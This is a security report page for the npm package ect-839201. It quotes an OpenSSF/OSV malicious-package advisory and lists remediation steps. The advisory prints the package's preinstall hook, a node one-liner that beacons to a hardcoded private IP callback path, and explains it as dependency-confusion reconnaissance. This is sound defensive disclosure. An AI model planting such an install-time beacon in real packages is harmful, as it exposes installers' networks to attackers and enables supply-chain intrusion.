ect-839201
This report shows the evidence for ect-839201@100.0.9. 11 of 11 known versions are blocked or flagged. See all versions.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5720 confirms this npm version as malicious.
Advisory
MAL-2026-5720
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in ect-839201 (npm)
Details
package.json declares a preinstall lifecycle hook that runs `node -e "require('http').get('http://10.107.121.85:8001/callback_839201')"` on `npm install`. This unconditionally issues an HTTP GET to a hardcoded RFC1918 address (10.107.121.85:8001) over plaintext, with a path (`/callback_839201`) that encodes a unique per-package probe identifier. The behavior fires automatically as part of the install lifecycle with no opt-in. The combination of (a) a bare-IP, non-publisher destination, (b) a unique callback identifier matched to the package name, and (c) plaintext HTTP on an internal/private network is the canonical dependency-confusion reconnaissance beacon: it confirms reachability from the installer's network into an attacker-controlled listener and leaks the installer's source IP, install timing, and the fact that this specific probe package resolved inside the target environment. Even though the captured request body is empty, the install itself is the signal — successful callbacks identify victim networks for follow-on attacks.
## Source: ghsa-malware (c197c5ca663d17b7e5066105f3ba265586a2f5eee6a3d7182964e53e909f2c06) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to ect-839201@100.0.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing ect-839201@100.0.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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